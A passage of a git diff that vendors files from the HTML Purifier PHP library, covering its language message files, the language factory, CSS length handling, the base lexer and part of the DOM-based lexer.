index 000000000..806c83fbf
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.php
@@ -0,0 +1,12 @@
+<?php
+
+// private language message file for unit testing purposes
+// this language file has no class associated with it
+
+$fallback = 'en';
+
+$messages = array(
+ 'HTMLPurifier' => 'HTML Purifier XNone'
+);
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en.php
new file mode 100644
index 000000000..c7f197e1e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en.php
@@ -0,0 +1,55 @@
+<?php
+
+$fallback = false;
+
+$messages = array(
+
+ 'HTMLPurifier' => 'HTML Purifier',
+// for unit testing purposes
+ 'LanguageFactoryTest: Pizza' => 'Pizza',
+ 'LanguageTest: List' => '$1',
+ 'LanguageTest: Hash' => '$1.Keys; $1.Values',
+ 'Item separator' => ', ',
+ 'Item separator last' => ' and ', // non-Harvard style
+
+ 'ErrorCollector: No errors' => 'No errors detected. However, because error reporting is still incomplete, there may have been errors that the error collector was not notified of; please inspect the output HTML carefully.',
+ 'ErrorCollector: At line' => ' at line $line',
+ 'ErrorCollector: Incidental errors' => 'Incidental errors',
+ 'Lexer: Unclosed comment' => 'Unclosed comment',
+ 'Lexer: Unescaped lt' => 'Unescaped less-than sign (<) should be &lt;',
+ 'Lexer: Missing gt' => 'Missing greater-than sign (>), previous less-than sign (<) should be escaped',
+ 'Lexer: Missing attribute key' => 'Attribute declaration has no key',
+ 'Lexer: Missing end quote' => 'Attribute declaration has no end quote',
+ 'Lexer: Extracted body' => 'Removed document metadata tags',
+ 'Strategy_RemoveForeignElements: Tag transform' => '<$1> element transformed into $CurrentToken.Serialized',
+ 'Strategy_RemoveForeignElements: Missing required attribute' => '$CurrentToken.Compact element missing required attribute $1',
+ 'Strategy_RemoveForeignElements: Foreign element to text' => 'Unrecognized $CurrentToken.Serialized tag converted to text',
+ 'Strategy_RemoveForeignElements: Foreign element removed' => 'Unrecognized $CurrentToken.Serialized tag removed',
+ 'Strategy_RemoveForeignElements: Comment removed' => 'Comment containing "$CurrentToken.Data" removed',
+ 'Strategy_RemoveForeignElements: Foreign meta element removed' => 'Unrecognized $CurrentToken.Serialized meta tag and all descendants removed',
+ 'Strategy_RemoveForeignElements: Token removed to end' => 'Tags and text starting from $1 element where removed to end',
+ 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' => 'Trailing hyphen(s) in comment removed',
+ 'Strategy_RemoveForeignElements: Hyphens in comment collapsed' => 'Double hyphens in comments are not allowed, and were collapsed into single hyphens',
+ 'Strategy_MakeWellFormed: Unnecessary end tag removed' => 'Unnecessary $CurrentToken.Serialized tag removed',
+ 'Strategy_MakeWellFormed: Unnecessary end tag to text' => 'Unnecessary $CurrentToken.Serialized tag converted to text',
+ 'Strategy_MakeWellFormed: Tag auto closed' => '$1.Compact started on line $1.Line auto-closed by $CurrentToken.Compact',
+ 'Strategy_MakeWellFormed: Tag carryover' => '$1.Compact started on line $1.Line auto-continued into $CurrentToken.Compact',
+ 'Strategy_MakeWellFormed: Stray end tag removed' => 'Stray $CurrentToken.Serialized tag removed',
+ 'Strategy_MakeWellFormed: Stray end tag to text' => 'Stray $CurrentToken.Serialized tag converted to text',
+ 'Strategy_MakeWellFormed: Tag closed by element end' => '$1.Compact tag started on line $1.Line closed by end of $CurrentToken.Serialized',
+ 'Strategy_MakeWellFormed: Tag closed by document end' => '$1.Compact tag started on line $1.Line closed by end of document',
+ 'Strategy_FixNesting: Node removed' => '$CurrentToken.Compact node removed',
+ 'Strategy_FixNesting: Node excluded' => '$CurrentToken.Compact node removed due to descendant exclusion by ancestor element',
+ 'Strategy_FixNesting: Node reorganized' => 'Contents of $CurrentToken.Compact node reorganized to enforce its content model',
+ 'Strategy_FixNesting: Node contents removed' => 'Contents of $CurrentToken.Compact node removed',
+ 'AttrValidator: Attributes transformed' => 'Attributes on $CurrentToken.Compact transformed from $1.Keys to $2.Keys',
+ 'AttrValidator: Attribute removed' => '$CurrentAttr.Name attribute on $CurrentToken.Compact removed',
+);
+
+$errorNames = array(
+ E_ERROR => 'Error',
+ E_WARNING => 'Warning',
+ E_NOTICE => 'Notice'
+);
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/LanguageFactory.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/LanguageFactory.php
new file mode 100644
index 000000000..4e35272d8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/LanguageFactory.php
@@ -0,0 +1,209 @@
+<?php
+
+/**
+ * Class responsible for generating HTMLPurifier_Language objects, managing
+ * caching and fallbacks.
+ * @note Thanks to MediaWiki for the general logic, although this version
+ * has been entirely rewritten
+ * @todo Serialized cache for languages
+ */
+class HTMLPurifier_LanguageFactory
+{
+
+ /**
+ * Cache of language code information used to load HTMLPurifier_Language objects.
+ * Structure is: $factory->cache[$language_code][$key] = $value
+ * @type array
+ */
+ public $cache;
+
+ /**
+ * Valid keys in the HTMLPurifier_Language object. Designates which
+ * variables to slurp out of a message file.
+ * @type array
+ */
+ public $keys = array('fallback', 'messages', 'errorNames');
+
+ /**
+ * Instance to validate language codes.
+ * @type HTMLPurifier_AttrDef_Lang
+ *
+ */
+ protected $validator;
+
+ /**
+ * Cached copy of dirname(__FILE__), directory of current file without
+ * trailing slash.
+ * @type string
+ */
+ protected $dir;
+
+ /**
+ * Keys whose contents are a hash map and can be merged.
+ * @type array
+ */
+ protected $mergeable_keys_map = array('messages' => true, 'errorNames' => true);
+
+ /**
+ * Keys whose contents are a list and can be merged.
+ * @value array lookup
+ */
+ protected $mergeable_keys_list = array();
+
+ /**
+ * Retrieve sole instance of the factory.
+ * @param HTMLPurifier_LanguageFactory $prototype Optional prototype to overload sole instance with,
+ * or bool true to reset to default factory.
+ * @return HTMLPurifier_LanguageFactory
+ */
+ public static function instance($prototype = null)
+ {
+ static $instance = null;
+ if ($prototype !== null) {
+ $instance = $prototype;
+ } elseif ($instance === null || $prototype == true) {
+ $instance = new HTMLPurifier_LanguageFactory();
+ $instance->setup();
+ }
+ return $instance;
+ }
+
+ /**
+ * Sets up the singleton, much like a constructor
+ * @note Prevents people from getting this outside of the singleton
+ */
+ public function setup()
+ {
+ $this->validator = new HTMLPurifier_AttrDef_Lang();
+ $this->dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier';
+ }
+
+ /**
+ * Creates a language object, handles class fallbacks
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @param bool|string $code Code to override configuration with. Private parameter.
+ * @return HTMLPurifier_Language
+ */
+ public function create($config, $context, $code = false)
+ {
+ // validate language code
+ if ($code === false) {
+ $code = $this->validator->validate(
+ $config->get('Core.Language'),
+ $config,
+ $context
+ );
+ } else {
+ $code = $this->validator->validate($code, $config, $context);
+ }
+ if ($code === false) {
+ $code = 'en'; // malformed code becomes English
+ }
+
+ $pcode = str_replace('-', '_', $code); // make valid PHP classname
+ static $depth = 0; // recursion protection
+
+ if ($code == 'en') {
+ $lang = new HTMLPurifier_Language($config, $context);
+ } else {
+ $class = 'HTMLPurifier_Language_' . $pcode;
+ $file = $this->dir . '/Language/classes/' . $code . '.php';
+ if (file_exists($file) || class_exists($class, false)) {
+ $lang = new $class($config, $context);
+ } else {
+ // Go fallback
+ $raw_fallback = $this->getFallbackFor($code);
+ $fallback = $raw_fallback ? $raw_fallback : 'en';
+ $depth++;
+ $lang = $this->create($config, $context, $fallback);
+ if (!$raw_fallback) {
+ $lang->error = true;
+ }
+ $depth--;
+ }
+ }
+ $lang->code = $code;
+ return $lang;
+ }
+
+ /**
+ * Returns the fallback language for language
+ * @note Loads the original language into cache
+ * @param string $code language code
+ * @return string|bool
+ */
+ public function getFallbackFor($code)
+ {
+ $this->loadLanguage($code);
+ return $this->cache[$code]['fallback'];
+ }
+
+ /**
+ * Loads language into the cache, handles message file and fallbacks
+ * @param string $code language code
+ */
+ public function loadLanguage($code)
+ {
+ static $languages_seen = array(); // recursion guard
+
+ // abort if we've already loaded it
+ if (isset($this->cache[$code])) {
+ return;
+ }
+
+ // generate filename
+ $filename = $this->dir . '/Language/messages/' . $code . '.php';
+
+ // default fallback : may be overwritten by the ensuing include
+ $fallback = ($code != 'en') ? 'en' : false;
+
+ // load primary localisation
+ if (!file_exists($filename)) {
+ // skip the include: will rely solely on fallback
+ $filename = $this->dir . '/Language/messages/en.php';
+ $cache = array();
+ } else {
+ include $filename;
+ $cache = compact($this->keys);
+ }
+
+ // load fallback localisation
+ if (!empty($fallback)) {
+
+ // infinite recursion guard
+ if (isset($languages_seen[$code])) {
+ trigger_error(
+ 'Circular fallback reference in language ' .
+ $code,
+ E_USER_ERROR
+ );
+ $fallback = 'en';
+ }
+ $language_seen[$code] = true;
+
+ // load the fallback recursively
+ $this->loadLanguage($fallback);
+ $fallback_cache = $this->cache[$fallback];
+
+ // merge fallback with current language
+ foreach ($this->keys as $key) {
+ if (isset($cache[$key]) && isset($fallback_cache[$key])) {
+ if (isset($this->mergeable_keys_map[$key])) {
+ $cache[$key] = $cache[$key] + $fallback_cache[$key];
+ } elseif (isset($this->mergeable_keys_list[$key])) {
+ $cache[$key] = array_merge($fallback_cache[$key], $cache[$key]);
+ }
+ } else {
+ $cache[$key] = $fallback_cache[$key];
+ }
+ }
+ }
+
+ // save to cache for later retrieval
+ $this->cache[$code] = $cache;
+ return;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Length.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Length.php
new file mode 100644
index 000000000..bbfbe6624
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Length.php
@@ -0,0 +1,160 @@
+<?php
+
+/**
+ * Represents a measurable length, with a string numeric magnitude
+ * and a unit. This object is immutable.
+ */
+class HTMLPurifier_Length
+{
+
+ /**
+ * String numeric magnitude.
+ * @type string
+ */
+ protected $n;
+
+ /**
+ * String unit. False is permitted if $n = 0.
+ * @type string|bool
+ */
+ protected $unit;
+
+ /**
+ * Whether or not this length is valid. Null if not calculated yet.
+ * @type bool
+ */
+ protected $isValid;
+
+ /**
+ * Array Lookup array of units recognized by CSS 2.1
+ * @type array
+ */
+ protected static $allowedUnits = array(
+ 'em' => true, 'ex' => true, 'px' => true, 'in' => true,
+ 'cm' => true, 'mm' => true, 'pt' => true, 'pc' => true
+ );
+
+ /**
+ * @param string $n Magnitude
+ * @param bool|string $u Unit
+ */
+ public function __construct($n = '0', $u = false)
+ {
+ $this->n = (string) $n;
+ $this->unit = $u !== false ? (string) $u : false;
+ }
+
+ /**
+ * @param string $s Unit string, like '2em' or '3.4in'
+ * @return HTMLPurifier_Length
+ * @warning Does not perform validation.
+ */
+ public static function make($s)
+ {
+ if ($s instanceof HTMLPurifier_Length) {
+ return $s;
+ }
+ $n_length = strspn($s, '1234567890.+-');
+ $n = substr($s, 0, $n_length);
+ $unit = substr($s, $n_length);
+ if ($unit === '') {
+ $unit = false;
+ }
+ return new HTMLPurifier_Length($n, $unit);
+ }
+
+ /**
+ * Validates the number and unit.
+ * @return bool
+ */
+ protected function validate()
+ {
+ // Special case:
+ if ($this->n === '+0' || $this->n === '-0') {
+ $this->n = '0';
+ }
+ if ($this->n === '0' && $this->unit === false) {
+ return true;
+ }
+ if (!ctype_lower($this->unit)) {
+ $this->unit = strtolower($this->unit);
+ }
+ if (!isset(HTMLPurifier_Length::$allowedUnits[$this->unit])) {
+ return false;
+ }
+ // Hack:
+ $def = new HTMLPurifier_AttrDef_CSS_Number();
+ $result = $def->validate($this->n, false, false);
+ if ($result === false) {
+ return false;
+ }
+ $this->n = $result;
+ return true;
+ }
+
+ /**
+ * Returns string representation of number.
+ * @return string
+ */
+ public function toString()
+ {
+ if (!$this->isValid()) {
+ return false;
+ }
+ return $this->n . $this->unit;
+ }
+
+ /**
+ * Retrieves string numeric magnitude.
+ * @return string
+ */
+ public function getN()
+ {
+ return $this->n;
+ }
+
+ /**
+ * Retrieves string unit.
+ * @return string
+ */
+ public function getUnit()
+ {
+ return $this->unit;
+ }
+
+ /**
+ * Returns true if this length unit is valid.
+ * @return bool
+ */
+ public function isValid()
+ {
+ if ($this->isValid === null) {
+ $this->isValid = $this->validate();
+ }
+ return $this->isValid;
+ }
+
+ /**
+ * Compares two lengths, and returns 1 if greater, -1 if less and 0 if equal.
+ * @param HTMLPurifier_Length $l
+ * @return int
+ * @warning If both values are too large or small, this calculation will
+ * not work properly
+ */
+ public function compareTo($l)
+ {
+ if ($l === false) {
+ return false;
+ }
+ if ($l->unit !== $this->unit) {
+ $converter = new HTMLPurifier_UnitConverter();
+ $l = $converter->convert($l, $this->unit);
+ if ($l === false) {
+ return false;
+ }
+ }
+ return $this->n - $l->n;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer.php
new file mode 100644
index 000000000..43732621d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer.php
@@ -0,0 +1,357 @@
+<?php
+
+/**
+ * Forgivingly lexes HTML (SGML-style) markup into tokens.
+ *
+ * A lexer parses a string of SGML-style markup and converts them into
+ * corresponding tokens. It doesn't check for well-formedness, although its
+ * internal mechanism may make this automatic (such as the case of
+ * HTMLPurifier_Lexer_DOMLex). There are several implementations to choose
+ * from.
+ *
+ * A lexer is HTML-oriented: it might work with XML, but it's not
+ * recommended, as we adhere to a subset of the specification for optimization
+ * reasons. This might change in the future. Also, most tokenizers are not
+ * expected to handle DTDs or PIs.
+ *
+ * This class should not be directly instantiated, but you may use create() to
+ * retrieve a default copy of the lexer. Being a supertype, this class
+ * does not actually define any implementation, but offers commonly used
+ * convenience functions for subclasses.
+ *
+ * @note The unit tests will instantiate this class for testing purposes, as
+ * many of the utility functions require a class to be instantiated.
+ * This means that, even though this class is not runnable, it will
+ * not be declared abstract.
+ *
+ * @par
+ *
+ * @note
+ * We use tokens rather than create a DOM representation because DOM would:
+ *
+ * @par
+ * -# Require more processing and memory to create,
+ * -# Is not streamable, and
+ * -# Has the entire document structure (html and body not needed).
+ *
+ * @par
+ * However, DOM is helpful in that it makes it easy to move around nodes
+ * without a lot of lookaheads to see when a tag is closed. This is a
+ * limitation of the token system and some workarounds would be nice.
+ */
+class HTMLPurifier_Lexer
+{
+
+ /**
+ * Whether or not this lexer implements line-number/column-number tracking.
+ * If it does, set to true.
+ */
+ public $tracksLineNumbers = false;
+
+ // -- STATIC ----------------------------------------------------------
+
+ /**
+ * Retrieves or sets the default Lexer as a Prototype Factory.
+ *
+ * By default HTMLPurifier_Lexer_DOMLex will be returned. There are
+ * a few exceptions involving special features that only DirectLex
+ * implements.
+ *
+ * @note The behavior of this class has changed, rather than accepting
+ * a prototype object, it now accepts a configuration object.
+ * To specify your own prototype, set %Core.LexerImpl to it.
+ * This change in behavior de-singletonizes the lexer object.
+ *
+ * @param HTMLPurifier_Config $config
+ * @return HTMLPurifier_Lexer
+ * @throws HTMLPurifier_Exception
+ */
+ public static function create($config)
+ {
+ if (!($config instanceof HTMLPurifier_Config)) {
+ $lexer = $config;
+ trigger_error(
+ "Passing a prototype to
+ HTMLPurifier_Lexer::create() is deprecated, please instead
+ use %Core.LexerImpl",
+ E_USER_WARNING
+ );
+ } else {
+ $lexer = $config->get('Core.LexerImpl');
+ }
+
+ $needs_tracking =
+ $config->get('Core.MaintainLineNumbers') ||
+ $config->get('Core.CollectErrors');
+
+ $inst = null;
+ if (is_object($lexer)) {
+ $inst = $lexer;
+ } else {
+ if (is_null($lexer)) {
+ do {
+ // auto-detection algorithm
+ if ($needs_tracking) {
+ $lexer = 'DirectLex';
+ break;
+ }
+
+ if (class_exists('DOMDocument') &&
+ method_exists('DOMDocument', 'loadHTML') &&
+ !extension_loaded('domxml')
+ ) {
+ // check for DOM support, because while it's part of the
+ // core, it can be disabled compile time. Also, the PECL
+ // domxml extension overrides the default DOM, and is evil
+ // and nasty and we shan't bother to support it
+ $lexer = 'DOMLex';
+ } else {
+ $lexer = 'DirectLex';
+ }
+ } while (0);
+ } // do..while so we can break
+
+ // instantiate recognized string names
+ switch ($lexer) {
+ case 'DOMLex':
+ $inst = new HTMLPurifier_Lexer_DOMLex();
+ break;
+ case 'DirectLex':
+ $inst = new HTMLPurifier_Lexer_DirectLex();
+ break;
+ case 'PH5P':
+ $inst = new HTMLPurifier_Lexer_PH5P();
+ break;
+ default:
+ throw new HTMLPurifier_Exception(
+ "Cannot instantiate unrecognized Lexer type " .
+ htmlspecialchars($lexer)
+ );
+ }
+ }
+
+ if (!$inst) {
+ throw new HTMLPurifier_Exception('No lexer was instantiated');
+ }
+
+ // once PHP DOM implements native line numbers, or we
+ // hack out something using XSLT, remove this stipulation
+ if ($needs_tracking && !$inst->tracksLineNumbers) {
+ throw new HTMLPurifier_Exception(
+ 'Cannot use lexer that does not support line numbers with ' .
+ 'Core.MaintainLineNumbers or Core.CollectErrors (use DirectLex instead)'
+ );
+ }
+
+ return $inst;
+
+ }
+
+ // -- CONVENIENCE MEMBERS ---------------------------------------------
+
+ public function __construct()
+ {
+ $this->_entity_parser = new HTMLPurifier_EntityParser();
+ }
+
+ /**
+ * Most common entity to raw value conversion table for special entities.
+ * @type array
+ */
+ protected $_special_entity2str =
+ array(
+ '&quot;' => '"',
+ '&amp;' => '&',
+ '&lt;' => '<',
+ '&gt;' => '>',
+ '&#39;' => "'",
+ '&#039;' => "'",
+ '&#x27;' => "'"
+ );
+
+ /**
+ * Parses special entities into the proper characters.
+ *
+ * This string will translate escaped versions of the special characters
+ * into the correct ones.
+ *
+ * @warning
+ * You should be able to treat the output of this function as
+ * completely parsed, but that's only because all other entities should
+ * have been handled previously in substituteNonSpecialEntities()
+ *
+ * @param string $string String character data to be parsed.
+ * @return string Parsed character data.
+ */
+ public function parseData($string)
+ {
+ // following functions require at least one character
+ if ($string === '') {
+ return '';
+ }
+
+ // subtracts amps that cannot possibly be escaped
+ $num_amp = substr_count($string, '&') - substr_count($string, '& ') -
+ ($string[strlen($string) - 1] === '&' ? 1 : 0);
+
+ if (!$num_amp) {
+ return $string;
+ } // abort if no entities
+ $num_esc_amp = substr_count($string, '&amp;');
+ $string = strtr($string, $this->_special_entity2str);
+
+ // code duplication for sake of optimization, see above
+ $num_amp_2 = substr_count($string, '&') - substr_count($string, '& ') -
+ ($string[strlen($string) - 1] === '&' ? 1 : 0);
+
+ if ($num_amp_2 <= $num_esc_amp) {
+ return $string;
+ }
+
+ // hmm... now we have some uncommon entities. Use the callback.
+ $string = $this->_entity_parser->substituteSpecialEntities($string);
+ return $string;
+ }
+
+ /**
+ * Lexes an HTML string into tokens.
+ * @param $string String HTML.
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token[] array representation of HTML.
+ */
+ public function tokenizeHTML($string, $config, $context)
+ {
+ trigger_error('Call to abstract class', E_USER_ERROR);
+ }
+
+ /**
+ * Translates CDATA sections into regular sections (through escaping).
+ * @param string $string HTML string to process.
+ * @return string HTML with CDATA sections escaped.
+ */
+ protected static function escapeCDATA($string)
+ {
+ return preg_replace_callback(
+ '/<!\[CDATA\[(.+?)\]\]>/s',
+ array('HTMLPurifier_Lexer', 'CDATACallback'),
+ $string
+ );
+ }
+
+ /**
+ * Special CDATA case that is especially convoluted for <script>
+ * @param string $string HTML string to process.
+ * @return string HTML with CDATA sections escaped.
+ */
+ protected static function escapeCommentedCDATA($string)
+ {
+ return preg_replace_callback(
+ '#<!--//--><!\[CDATA\[//><!--(.+?)//--><!\]\]>#s',
+ array('HTMLPurifier_Lexer', 'CDATACallback'),
+ $string
+ );
+ }
+
+ /**
+ * Special Internet Explorer conditional comments should be removed.
+ * @param string $string HTML string to process.
+ * @return string HTML with conditional comments removed.
+ */
+ protected static function removeIEConditional($string)
+ {
+ return preg_replace(
+ '#<!--\[if [^>]+\]>.*?<!\[endif\]-->#si', // probably should generalize for all strings
+ '',
+ $string
+ );
+ }
+
+ /**
+ * Callback function for escapeCDATA() that does the work.
+ *
+ * @warning Though this is public in order to let the callback happen,
+ * calling it directly is not recommended.
+ * @param array $matches PCRE matches array, with index 0 the entire match
+ * and 1 the inside of the CDATA section.
+ * @return string Escaped internals of the CDATA section.
+ */
+ protected static function CDATACallback($matches)
+ {
+ // not exactly sure why the character set is needed, but whatever
+ return htmlspecialchars($matches[1], ENT_COMPAT, 'UTF-8');
+ }
+
+ /**
+ * Takes a piece of HTML and normalizes it by converting entities, fixing
+ * encoding, extracting bits, and other good stuff.
+ * @param string $html HTML.
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ * @todo Consider making protected
+ */
+ public function normalize($html, $config, $context)
+ {
+ // normalize newlines to \n
+ if ($config->get('Core.NormalizeNewlines')) {
+ $html = str_replace("\r\n", "\n", $html);
+ $html = str_replace("\r", "\n", $html);
+ }
+
+ if ($config->get('HTML.Trusted')) {
+ // escape convoluted CDATA
+ $html = $this->escapeCommentedCDATA($html);
+ }
+
+ // escape CDATA
+ $html = $this->escapeCDATA($html);
+
+ $html = $this->removeIEConditional($html);
+
+ // extract body from document if applicable
+ if ($config->get('Core.ConvertDocumentToFragment')) {
+ $e = false;
+ if ($config->get('Core.CollectErrors')) {
+ $e =& $context->get('ErrorCollector');
+ }
+ $new_html = $this->extractBody($html);
+ if ($e && $new_html != $html) {
+ $e->send(E_WARNING, 'Lexer: Extracted body');
+ }
+ $html = $new_html;
+ }
+
+ // expand entities that aren't the big five
+ $html = $this->_entity_parser->substituteNonSpecialEntities($html);
+
+ // clean into wellformed UTF-8 string for an SGML context: this has
+ // to be done after entity expansion because the entities sometimes
+ // represent non-SGML characters (horror, horror!)
+ $html = HTMLPurifier_Encoder::cleanUTF8($html);
+
+ // if processing instructions are to removed, remove them now
+ if ($config->get('Core.RemoveProcessingInstructions')) {
+ $html = preg_replace('#<\?.+?\?>#s', '', $html);
+ }
+
+ return $html;
+ }
+
+ /**
+ * Takes a string of HTML (fragment or document) and returns the content
+ * @todo Consider making protected
+ */
+ public function extractBody($html)
+ {
+ $matches = array();
+ $result = preg_match('!<body[^>]*>(.*)</body>!is', $html, $matches);
+ if ($result) {
+ return $matches[1];
+ } else {
+ return $html;
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php
new file mode 100644
index 000000000..720754454
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php
@@ -0,0 +1,280 @@
+<?php
+
+/**
+ * Parser that uses PHP 5's DOM extension (part of the core).
+ *
+ * In PHP 5, the DOM XML extension was revamped into DOM and added to the core.
+ * It gives us a forgiving HTML parser, which we use to transform the HTML
+ * into a DOM, and then into the tokens. It is blazingly fast (for large
+ * documents, it performs twenty times faster than
+ * HTMLPurifier_Lexer_DirectLex,and is the default choice for PHP 5.
+ *
+ * @note Any empty elements will have empty tokens associated with them, even if
+ * this is prohibited by the spec. This is cannot be fixed until the spec
+ * comes into play.
+ *
+ * @note PHP's DOM extension does not actually parse any entities, we use
+ * our own function to do that.
+ *
+ * @warning DOM tends to drop whitespace, which may wreak havoc on indenting.
+ * If this is a huge problem, due to the fact that HTML is hand
+ * edited and you are unable to get a parser cache that caches the
+ * the output of HTML Purifier while keeping the original HTML lying
+ * around, you may want to run Tidy on the resulting output or use
+ * HTMLPurifier_DirectLex
+ */
+
+class HTMLPurifier_Lexer_DOMLex extends HTMLPurifier_Lexer
+{
+
+ /**
+ * @type HTMLPurifier_TokenFactory
+ */
+ private $factory;
+
+ public function __construct()
+ {
+ // setup the factory
+ parent::__construct();
+ $this->factory = new HTMLPurifier_TokenFactory();
+ }
+
+ /**
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token[]
+ */
+ public function tokenizeHTML($html, $config, $context)
+ {
+ $html = $this->normalize($html, $config, $context);
+
+ // attempt to armor stray angled brackets that cannot possibly
+ // form tags and thus are probably being used as emoticons
+ if ($config->get('Core.AggressivelyFixLt')) {
+ $char = '[^a-z!\/]';
+ $comment = "/<!--(.*?)(-->|\z)/is";
+ $html = preg_replace_callback($comment, array($this, 'callbackArmorCommentEntities'), $html);
+ do {
+ $old = $html;
+ $html = preg_replace("/<($char)/i", '&lt;\\1', $html);
+ } while ($html !== $old);
+ $html = preg_replace_callback($comment, array($this, 'callbackUndoCommentSubst'), $html); // fix comments
+ }
+
+ // preprocess html, essential for UTF-8
+ $html = $this->wrapHTML($html, $config, $context);
+
+ $doc = new DOMDocument();
+ $doc->encoding = 'UTF-8'; // theoretically, the above has this covered
+
+ set_error_handler(array($this, 'muteErrorHandler'));
+ $doc->loadHTML($html);
+ restore_error_handler();
+
+ $tokens = array();
+ $this->tokenizeDOM(
+ $doc->getElementsByTagName('html')->item(0)-> // <html>
+ getElementsByTagName('body')->item(0)-> // <body>
+ getElementsByTagName('div')->item(0), // <div>
+ $tokens
+ );
+ return $tokens;
+ }
+
+ /**
+ * Iterative function that tokenizes a node, putting it into an accumulator.
+ * To iterate is human, to recurse divine - L. Peter Deutsch
+ * @param DOMNode $node DOMNode to be tokenized.
+ * @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens.
+ * @return HTMLPurifier_Token of node appended to previously passed tokens.
+ */
+ protected function tokenizeDOM($node, &$tokens)
+ {
+ $level = 0;
+ $nodes = array($level => new HTMLPurifier_Queue(array($node)));
+ $closingNodes = array();
+ do {
+ while (!$nodes[$level]->isEmpty()) {
+ $node = $nodes[$level]->shift(); // FIFO
+ $collect = $level > 0 ? true : false;
+ $needEndingTag = $this->createStartNode($node, $tokens, $collect);
+ if ($needEndingTag) {
+ $closingNodes[$level][] = $node;
+ }
+ if ($node->childNodes && $node->childNodes->length) {
+ $level++;
+ $nodes[$level] = new HTMLPurifier_Queue();
+ foreach ($node->childNodes as $childNode) {
+ $nodes[$level]->push($childNode);
+ }
+ }
+ }
+ $level--;
+ if ($level && isset($closingNodes[$level])) {
+ while ($node = array_pop($closingNodes[$level])) {
+ $this->createEndNode($node, $tokens);
+ }
+ }
+ } while ($level > 0);
+ }
+
+ /**
+ * @param DOMNode $node DOMNode to be tokenized.
+ * @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens.
+ * @param bool $collect Says whether or start and close are collected, set to
+ * false at first recursion because it's the implicit DIV
+ * tag you're dealing with.
+ * @return bool if the token needs an endtoken
+ * @todo data and tagName properties don't seem to exist in DOMNode?
+ */
+ protected function createStartNode($node, &$tokens, $collect)
+ {
+ // intercept non element nodes. WE MUST catch all of them,
+ // but we're not getting the character reference nodes because
+ // those should have been preprocessed
+ if ($node->nodeType === XML_TEXT_NODE) {
+ $tokens[] = $this->factory->createText($node->data);
+ return false;
+ } elseif ($node->nodeType === XML_CDATA_SECTION_NODE) {
+ // undo libxml's special treatment of <script> and <style> tags
+ $last = end($tokens);
+ $data = $node->data;
+ // (note $node->tagname is already normalized)
+ if ($last instanceof HTMLPurifier_Token_Start && ($last->name == 'script' || $last->name == 'style')) {
+ $new_data = trim($data);
+ if (substr($new_data, 0, 4) === '<!--') {
+ $data = substr($new_data, 4);
+ if (substr($data, -3) === '-->') {
+ $data = substr($data, 0, -3);
+ } else {
+ // Highly suspicious! Not sure what to do...
+ }
+ }
+ }
+ $tokens[] = $this->factory->createText($this->parseData($data));
+ return false;
+ } elseif ($node->nodeType === XML_COMMENT_NODE) {
+ // this is code is only invoked for comments in script/style in versions
+ // of libxml pre-2.6.28 (regular comments, of course, are still
+ // handled regularly)
+ $tokens[] = $this->factory->createComment($node->data);
+ return false;
+ } elseif ($node->nodeType !== XML_ELEMENT_NODE) {
+ // not-well tested: there may be other nodes we have to grab
+ return false;
+ }
+
+ $attr = $node->hasAttributes() ? $this->transformAttrToAssoc($node->attributes) : array();
+
+ // We still have to make sure that the element actually IS empty
+ if (!$node->childNodes->length) {
+ if ($collect) {
+ $tokens[] = $this->factory->createEmpty($node->tagName, $attr);
+ }
+ return false;
+ } else {
+ if ($collect) {
+ $tokens[] = $this->factory->createStart(
+ $tag_name = $node->tagName, // somehow, it get's dropped
+ $attr
+ );
+ }
+ return true;
+ }
+ }
+
+ /**
+ * @param DOMNode $node
+ * @param HTMLPurifier_Token[] $tokens
+ */
+ protected function createEndNode($node, &$tokens)
+ {
+ $tokens[] = $this->factory->createEnd($node->tagName);
+ }
+
+
+ /**
+ * Converts a DOMNamedNodeMap of DOMAttr objects into an assoc array.
+ *
+ * @param DOMNamedNodeMap $node_map DOMNamedNodeMap of DOMAttr objects.
+ * @return array Associative array of attributes.
+ */
+ protected function transformAttrToAssoc($node_map)
+ {
+ // NamedNodeMap is documented very well, so we're using undocumented
+ // features, namely, the fact that it implements Iterator and
+ // has a ->length attribute
+ if ($node_map->length === 0) {
+ return array();
+ }
+ $array = array();
+ foreach ($node_map as $attr) {
+ $array[$attr->name] = $attr->value;
+ }
+ return $array;
+ }
+
+ /**
+ * An error handler that mutes all errors
+ * @param int $errno
+ * @param string $errstr
+ */
+ public function muteErrorHandler($errno, $errstr)
+ {
+ }
+
+ /**
+ * Callback function for undoing escaping of stray angled brackets
+ * in comments
+ * @param array $matches
+ * @return string
+ */
